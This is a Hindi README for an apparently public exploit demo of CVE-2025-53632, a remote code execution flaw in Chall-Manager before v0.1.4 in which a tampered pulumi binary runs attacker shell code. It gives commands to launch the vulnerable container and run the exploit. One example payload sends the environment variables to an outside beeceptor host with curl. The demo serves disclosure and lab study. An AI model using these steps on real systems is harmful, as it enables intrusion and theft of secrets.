
शोषण क्षमता की पुष्टि करने के लिए CVE-2025-53632 का एक एक्सप्लॉइट
इस रिपॉजिटरी में CVE-2025-53632 का शोषण शामिल है जो Chall-Manager < v0.1.4 को प्रभावित करता है। प्रभावित संस्करण स्पष्ट रूप से पुराने हैं और संभवतः किसी के द्वारा उपयोग नहीं किए जाते, इसलिए मुझे विश्वास है कि वर्तमान में कोई दुर्भावनापूर्ण शोषण नहीं है।
यह रिपॉजिटरी आपको किसी पर हमला करने का अधिकार नहीं देती, बल्कि शैक्षिक उद्देश्यों के लिए है।
[!WARNING] Chall-Manager जिस तरह से परिदृश्यों (scenarios) से निपटता है, वह zip slip के बिना भी पूरी तरह से शोषण योग्य है: बस परिदृश्य से
pulumiबाइनरी के साथ छेड़छाड़ करें ताकि अगला निष्पादन आपके मनमाना कोड को चलाए।
हम Chall-Manager v0.1.3 पर हमले का प्रदर्शन करते हैं।
मान लीजिए एक खुला Chall-Manager है (कृपया ऐसा न करें, यह इसके लिए नहीं है क्योंकि यह एक ऑन-डिमांड RCE एप्लिकेशन है)।
चैलेंज बनाते समय, परिदृश्य को Pulumi preview द्वारा मान्य किया जाता है। इस कोड पर कोई नियंत्रण नहीं है, इसलिए हम कुछ भी इंजेक्ट कर सकते हैं।
ऐसा करने के लिए, Chall-Manager Pulumi के auto API का उपयोग करता है, जो Pulumi बाइनरी को निष्पादित करता है। यह बिना किसी पूर्ण पथ के ऐसा करता है, क्योंकि यह /pulumi/bin/pulumi पर होने की उम्मीद करता है ($PATH /pulumi/bin से शुरू होता है)।
इन सूचनाओं का उपयोग करके, हम इसके निष्पादन से पहले कुछ शेल कोड इंजेक्ट करके pulumi प्रोग्राम के साथ छेड़छाड़ करेंगे।
जैसे ही परिदृश्य मान्य होगा, छेड़छाड़ किया गया pulumi प्रोग्राम निष्पादित होगा, जो स्क्रिप्ट चलाएगा।
इस स्क्रिप्ट से, आप अब रिवर्स शेल खोल सकते हैं, बुनियादी ढांचे या कंटेनर के अंदर घूम सकते हैं, रहस्य (जैसे पर्यावरण चर में निहित) या यहां तक कि चैलेंज सामग्री (जैसे चैलेंज फ्लैग) लीक कर सकते हैं।
इस शोषण डेमो को चलाने के लिए आपको चाहिए:
chall-manager चलाएँ।
docker run --name chall-manager -d -p 8080:8080 ctferio/chall-manager:v0.1.3
main.go चलाएँ
go run main.go --url localhost:8080
अपनी स्क्रिप्ट के साथ आविष्कारशील बनें! उदाहरण के लिए, आप सिस्टम जानकारी किसी तीसरे पक्ष को भेज सकते हैं...
go run main.go --url localhost:8080 --script 'curl -d "$(env)" https://app.beeceptor.com/console/cve-2025-53632'
समाप्त होने पर आप डेमो Chall-Manager Docker कंटेनर को रोक सकते हैं।
docker stop chall-manager && docker rm $_